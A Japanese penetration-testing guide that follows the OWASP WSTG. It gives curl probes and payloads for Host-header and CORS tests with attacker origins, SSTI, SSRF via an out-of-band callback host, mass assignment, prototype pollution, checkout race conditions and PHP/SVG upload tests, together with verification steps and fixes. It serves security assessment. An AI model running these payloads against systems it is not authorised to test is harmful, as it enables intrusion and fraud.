7.17 Host ヘッダーインジェクション(WSTG-INPV-17)
curl -sS --max-time 10 "https://${TARGET}/" \
-H "Host: evil.example.com" -o /dev/null -w '%{http_code}\n'
curl -sS --max-time 10 "https://${TARGET}/" \
-H "X-Forwarded-Host: evil.example.com" -o /dev/null -w '%{http_code}\n'
検証: Host ヘッダーがパスワードリセットリンク、レスポンス本文内の絶対 URL、またはリダイレクトに反映されていることを確認します。ヘッダー内での反射だけでは悪用可能とはいえません。
7.18 SSTI(WSTG-INPV-18)
# Template engine detection probes — run these against every reflected parameter
for probe in '{{7*7}}' '${7*7}' '<%=7*7%>' '#{7*7}' '{{7*\'7\'}}' \
'${{7*7}}' '@(7*7)'; do
resp=$(curl -sS --max-time 10 \
"https://${TARGET}/?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$probe'''))")" \
2>/dev/null)
echo "$resp" | grep -q '49' && echo "[!] SSTI confirmed: $probe returned 49 in $resp"
sleep 1
done
7.19 SSRF(WSTG-INPV-19)
# Use an OOB Collaborator / Burp Collaborator / interactsh
CALLBACK="your-id.oastify.com"
# Test URL parameters that fetch external resources
for param in url uri path redirect callback webhook src proxy file image \
avatar import fetch download; do
curl -sS --max-time 10 \
"https://${TARGET}/fetch?${param}=http://${CALLBACK}" \
-o /dev/null -w '%{http_code}\n' 2>/dev/null
sleep 1
done
# Test request body JSON
curl -sS --max-time 10 -X POST "https://${TARGET}/api/import" \
-H 'Content-Type: application/json' \
-d "{\"url\":\"http://${CALLBACK}\"}" \
-o /dev/null -w '%{http_code}\n' 2>/dev/null
注意点: CDN または Webhook 検証サービスからの DNS コールバックは、対象がリクエストを送信した証明にはなりません。User-Agent、送信元 IP、タイミングを確認します。
検証: 識別情報(送信元 IP、User-Agent、または対象に固有のパス)を含むコールバックを確認します。クラウドメタデータへのアクセスについては、認証情報またはインスタンスデータが取得されたことを確認します。
7.20 Mass Assignment(WSTG-INPV-20)
# Try setting privileged fields
curl -sS --max-time 10 -X POST "https://${TARGET}/api/register" \
-H 'Content-Type: application/json' \
-d '{"username":"test","password":"test","role":"admin","isAdmin":true,"verified":true}' \
2>/dev/null | python3 -m json.tool 2>/dev/null
検証: レスポンスで権限の昇格が確認できるか、後続の認証済みリクエストで権限の昇格が実証されます。
7.22 Prototype Pollution(WSTG-INPV-22)
# Client-side (browser console)
Object.prototype.polluted = true
# Check if new objects have the property
# Server-side via JSON
curl -sS --max-time 10 -X POST "https://${TARGET}/api/update" \
-H 'Content-Type: application/json' \
-d '{"__proto__":{"isAdmin":true},"constructor":{"prototype":{"isAdmin":true}}}' \
2>/dev/null
フェーズ 8:エラー処理(WSTG-ERRH-01 から ERRH-02)
8.1 不適切なエラー処理(WSTG-ERRH-01)
# Trigger errors with malformed input
for trigger in \
"/nonexistent" \
"?id=abc" \
"?id[]=1" \
"?id=999999999999" \
"?id=-1" \
"?id=0" \
"'" \
"%00"; do
code=$(curl -sS --max-time 10 \
"https://${TARGET}${trigger}" \
-o "$OUTPUT_DIR/evidence/error-$(echo $trigger | md5sum | cut -c1-8).html" \
-w '%{http_code}' 2>/dev/null)
echo "$trigger: $code"
sleep 1
done
各レスポンス本文を確認し、次の情報が含まれていないか調べます: スタックトレース、フレームワーク名とバージョン、SQL クエリ、ファイルパス、データベース接続文字列、内部 IP アドレス、API キー。
8.2 スタックトレース(WSTG-ERRH-02)
# Common stack trace patterns
grep -rniE '^\s*at |stack trace|traceback|\.py", line |\.java:|\.php on line|\.rb:\d+:|\.go:\d+|in `|\.tsx:\d+:|\.js:\d+' \
"$OUTPUT_DIR/evidence/" 2>/dev/null
検証: 一般的なエラーメッセージだけでなく、フレームワーク内部のパスと行番号を含む完全なスタックトレースがレスポンスに含まれます。
フェーズ 9:脆弱な暗号化(WSTG-CRYP-01 から CRYP-04)
9.1 脆弱な TLS(WSTG-CRYP-01)
# Quick TLS version and cipher check
nmap -sV --script ssl-enum-ciphers -p 443 "$TARGET" 2>/dev/null
# Check certificate validity
openssl s_client -connect "${TARGET}:443" -servername "$TARGET" \
</dev/null 2>/dev/null | openssl x509 -noout -text \
| grep -E 'Not Before|Not After|Issuer:|Subject:'
# testssl.sh for comprehensive analysis
testssl --quiet --json "$TARGET" 2>/dev/null
検証: TLS 1.0/1.1 がサポートされている、脆弱な暗号(RC4、3DES、EXPORT)が使われている、前方秘匿性がない、証明書が無効または期限切れである、あるいはホスト名が一致しません。
9.2 パディングオラクル(WSTG-CRYP-02)
# Test for padding oracle in encrypted cookies or tokens
# Requires specialized tools: padbuster, padding-oracle-attacker
# This is a detection probe, not a full exploit
code_ok=$(curl -sS --max-time 10 "https://${TARGET}/" \
-H 'Cookie: session=VALID_ENCRYPTED_COOKIE' \
-o /dev/null -w '%{http_code}' 2>/dev/null)
code_bad=$(curl -sS --max-time 10 "https://${TARGET}/" \
-H 'Cookie: session=MODIFIED_LAST_BYTE' \
-o /dev/null -w '%{http_code}' 2>/dev/null)
echo "Valid: $code_ok, Modified: $code_bad"
注意点: レスポンスコードが異なるだけで、パディングオラクルが存在するとは限りません。バイトを体系的に反転させ、パディングエラーとデータエラーの挙動に一貫性があるか観察する必要があります。
9.3 暗号化されていないチャネル(WSTG-CRYP-03)
# Check if the site is available over HTTP
code=$(curl -sS --max-time 10 "http://${TARGET}/" -o /dev/null -w '%{http_code}' 2>/dev/null)
echo "HTTP: $code"
# Check for mixed content on the HTTPS version
curl -sS --max-time 10 "https://${TARGET}/" 2>/dev/null \
| grep -oPi '(src|href)=["\x27]http://[^"\x27]*["\x27]'
9.4 脆弱な暗号プリミティブ(WSTG-CRYP-04)
観測された暗号化された値(トークン、Cookie、API キー、パスワードハッシュ)を調べます。次の点を確認します:
- セキュリティ用途での MD5 または SHA1 の使用
- 暗号化トークンでの ECB モードの使用
- ハードコードされたキーまたは IV
- 予測可能な乱数値(タイムスタンプ、連番カウンター)
フェーズ 10:ビジネスロジック(WSTG-BUSL-01 から BUSL-10)
10.1 データ検証(WSTG-BUSL-01)
# Negative quantity in cart
curl -sS --max-time 10 -X POST "https://${TARGET}/cart/add" \
-H 'Content-Type: application/json' \
-d '{"product_id":1,"quantity":-1}' 2>/dev/null
# Zero or negative price
curl -sS --max-time 10 -X POST "https://${TARGET}/checkout" \
-H 'Content-Type: application/json' \
-d '{"items":[{"product_id":1,"price":0.01,"quantity":1}]}' 2>/dev/null
10.2 リクエストの偽造(WSTG-BUSL-02)
# Check if signed values (coupons, discounts) can be modified
# Try changing a coupon code parameter
curl -sS --max-time 10 -X POST "https://${TARGET}/checkout/apply-coupon" \
-H 'Content-Type: application/json' \
-d '{"coupon":"FREE100"}' 2>/dev/null
10.3 整合性チェック(WSTG-BUSL-03)
リクエスト内の価格、数量、割引の値が、サーバー側の値と照合して検証されているか調べます。転送中に値を変更し、挙動を観察します。
10.4 処理タイミング(WSTG-BUSL-04)
# Race condition: apply coupon multiple times simultaneously
for i in $(seq 1 5); do
curl -sS --max-time 10 -X POST "https://${TARGET}/cart/apply-coupon" \
-H 'Content-Type: application/json' \
-d '{"coupon":"LIMITED10"}' -o /dev/null -w '%{http_code} ' 2>/dev/null &
done; wait; echo
10.6 ワークフローの回避(WSTG-BUSL-06)
# Skip checkout steps by accessing later URLs directly
for step in /checkout/payment /checkout/confirm /checkout/complete /order/place; do
code=$(curl -sS --max-time 10 "https://${TARGET}${step}" \
-H 'Cookie: session=VALID_SESSION' \
-o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo "$step: $code"
sleep 1
done
10.8/10.9 ファイルアップロード(WSTG-BUSL-08/09)
# Test accepted file types
echo '<?php phpinfo(); ?>' > /tmp/test.php
echo '<script>alert(1)</script>' > /tmp/test.html
echo '<svg/onload=alert(1)>' > /tmp/test.svg
for file in /tmp/test.php /tmp/test.html /tmp/test.svg; do
code=$(curl -sS --max-time 10 -X POST "https://${TARGET}/upload" \
-F "file=@${file}" -o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo "$(basename $file): $code"
sleep 1
done
注意点: ファイルアップロードのテストは状態を変更します。スコープで承認されたエンドポイントで、不活性なコンテンツのみを使ってテストしてください。可能であれば、テスト後にアップロードしたファイルを削除してください。
検証: アップロードしたファイルにアクセスでき、その URL へのリクエスト時に実行される(PHP、JSP)か、レンダリングされます(HTML、SVG)。
フェーズ 11:クライアント側のテスト(WSTG-CLNT-01 から CLNT-15)
11.1 DOM XSS(WSTG-CLNT-01)
ブラウザーの DevTools を使って、ソース(URL、postMessage、localStorage、document.cookie)からシンク(innerHTML、document.write、eval、location)へのデータフローを追跡します。各シンクでサニタイズが欠落していないか確認します。
11.4 クライアント側リダイレクト(WSTG-CLNT-04)
# Test URL parameters that may trigger client-side redirect
for param in redirect url next return_to goto target callback; do
curl -sS --max-time 10 \
"https://${TARGET}/login?${param}=https://evil.example.com" \
-o /dev/null -w '%{redirect_url}\n' 2>/dev/null
sleep 1
done
11.5 CSS インジェクション(WSTG-CLNT-05)
挿入された CSS は、属性セレクターと background-image URL を介して、データを1文字ずつ外部へ流出させる可能性があります。style 属性または <style> ブロックに現れる入力をテストします。
11.7 CORS(WSTG-CLNT-07)
# Test origin reflection
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
-H 'Origin: https://evil.example.com' -o /dev/null 2>&1 \
| grep -i 'access-control'
# Test null origin
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
-H 'Origin: null' -o /dev/null 2>&1 \
| grep -i 'access-control'
# Test subdomain bypass
curl -sS -D - --max-time 10 "https://${TARGET}/api/me" \
-H 'Origin: https://evil.${TARGET}' -o /dev/null 2>&1 \
| grep -i 'access-control'
検証: ACAO が攻撃者のオリジンを反映し、かつ ACAC が true で、かつエンドポイントが公開情報ではなくユーザー固有のデータを返します。
11.9 クリックジャッキング(WSTG-CLNT-09)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -iE 'x-frame-options|content-security-policy.*frame-ancestors'
検証: 機密性の高い操作(ログイン、設定、支払い)があるページで、X-Frame-Options または CSP の frame-ancestors が欠落しています。
11.10 WebSockets(WSTG-CLNT-10)
# Check Origin validation on WebSocket upgrade
curl -sS -D - --max-time 10 \
-H 'Connection: Upgrade' -H 'Upgrade: websocket' \
-H 'Origin: https://evil.example.com' \
-H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
-H 'Sec-WebSocket-Version: 13' \
"https://${TARGET}/ws" -o /dev/null 2>&1
11.12 ブラウザーのストレージ(WSTG-CLNT-12)
localStorage、sessionStorage、IndexedDB、Cookie を調べ、トークン、API キー、PII、内部ホスト名、未公開機能を露呈させるフィーチャーフラグなどの機密データが含まれていないか確認します。
フェーズ 12:API テスト(WSTG-APIT-01 から APIT-99)
12.1 API の偵察(WSTG-APIT-01)
# Discover API documentation
for path in /openapi.json /swagger.json /swagger/v1/swagger.json \
/api-docs /api/swagger /api/v1/openapi.json /graphql \
/api/schema /redoc /docs /playground; do
code=$(curl -sS --max-time 10 "https://${TARGET}${path}" \
-o /dev/null -w '%{http_code}\n' 2>/dev/null)
[ "$code" != "404" ] && echo "$path: $code"
sleep 1
done
検証: OpenAPI/Swagger ドキュメントが、オペレーション、パラメーター、認証要件を含む有効な JSON を返します。
12.2 オブジェクトレベル認可の不備(WSTG-APIT-02)
フェーズ 5.4(IDOR)を参照してください。2つの ID を使って、すべてのオブジェクトエンドポイントをテストします。
12.3 過剰なデータ公開(WSTG-APIT-03)
各 API エンドポイントについて、次の間でレスポンスのフィールドを比較します。
# Full response (as authenticated user)
curl -sS --max-time 10 "https://${TARGET}/api/users/me" \
-H 'Authorization: Bearer USER_TOKEN' 2>/dev/null | python3 -m json.tool
# Does the response include password hashes, internal IDs, admin flags,
# role definitions, or other fields not needed by the client?
12.4 関数レベルの認可不備(WSTG-APIT-04)
# Try administrative API endpoints as a regular user
for endpoint in /api/admin /api/users /api/config /api/logs /api/health \
/api/metrics /api/system /api/internal; do
code=$(curl -sS --max-time 10 "https://${TARGET}${endpoint}" \
-H 'Authorization: Bearer REGULAR_USER_TOKEN' \
-o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo "$endpoint: $code"
sleep 1
done
12.99 GraphQL(WSTG-APIT-99)
# Introspection query
curl -sS --max-time 10 -X POST "https://${TARGET}/graphql" \
-H 'Content-Type: application/json' \
-d '{"query":"{__schema{types{name,fields{name}}}}"}' 2>/dev/null
# Check if GET is allowed (query batching / CSRF risk)
curl -sS --max-time 10 \
"https://${TARGET}/graphql?query=%7B__typename%7D" \
-o /dev/null -w '%{http_code}\n' 2>/dev/null
# Field suggestion (information leak)
curl -sS --max-time 10 -X POST "https://${TARGET}/graphql" \
-H 'Content-Type: application/json' \
-d '{"query":"{user(id:1){namee}}"}' 2>/dev/null
注意事項
- レスポンスコードだけでは発見事項になりません。本文の内容を確認してください。
- 古いバージョン文字列があっても、悪用可能であることの証明にはなりません。
- 自動スキャナーの結果は調査の手掛かりであり、検証済みの発見事項ではありません。手動で再現してください。
- 認可に関する発見事項には、所有関係が既知の少なくとも 2 つの ID が必要です。
- WAF やレート制限によってプローブが抑制されることがあります。タイミングやエンコードを変えてください。
- サードパーティや共有プロバイダーのホストは、テスト前に所有権を確認する必要があります。
- 単一のレスポンスから発見事項を推測しないでください。肯定的対照と否定的対照を実行してください。
検証
報告する各発見事項について、次の質問に答えてください。
- どのセキュリティ特性が損なわれましたか? 期待される動作を明記してください。
- 何を確認しましたか? サニタイズしたリクエストとレスポンスを記載してください。
- どのような対照で確認できますか? 肯定的対照(期待される動作)、否定的対照(除外される動作)、境界対照(隣接する値)を示してください。
- 何をテストしていませんか? 列挙、本番データ、書き込み、永続化について記載してください。
- 再現可能ですか? タイミングを含む正確な手順を記録してください。
最終品質ゲートを実行します。
[ ] reproduction and controls work as documented
[ ] impact matches evidence; untested steps labeled
[ ] credentials and PII removed
[ ] remediation addresses the failed security control
WSTG カテゴリー別の修正方法
| カテゴリー | 一般的な修正方法 |
|---|---|
| INFO-* | 詳細すぎるヘッダーを削除し、メタファイルを制限し、ページのコンテンツを確認します |
| CONF-* | 未使用のメソッドを無効化し、ヘッダーを強化し、管理パネルを制限し、バックアップファイルを削除します |
| IDNT-* | エラーメッセージを統一し、登録時に CAPTCHA を導入し、強力なパスワードポリシーを適用します |
| ATHN-* | MFA、アカウントロックアウト、安全なパスワードリセットトークン、認証情報の暗号化を導入します |
| ATHZ-* | サーバー側で所有権を確認し、デフォルトで拒否し、リクエストごとにロールを検証します |
| SESS-* | Secure/HttpOnly/SameSite Cookie、セッションの再生成、サーバー側での無効化を実装します |
| INPV-* | パラメーター化クエリ、入力検証、出力エンコード、CSP、サニタイズを実装します |
| ERRH-* | カスタムエラーページを使用し、本番環境でスタックトレースを表示せず、ユーザー向けメッセージを汎用的なものにします |
| CRYP-* | TLS 1.2 以上、強力な暗号スイート、HSTS、前方秘匿性を使用し、ハードコードされたキーをなくします |
| BUSL-* | サーバー側で検証し、ワークフローの状態を強制し、冪等性キーを使用します |
| CLNT-* | 厳格な CSP、frame-ancestors、CORS 制限、DOM のサニタイズを実装します |
| APIT-* | オブジェクト単位の認可、フィールドレベルのアクセス制御を実装し、イントロスペクションを無効化します |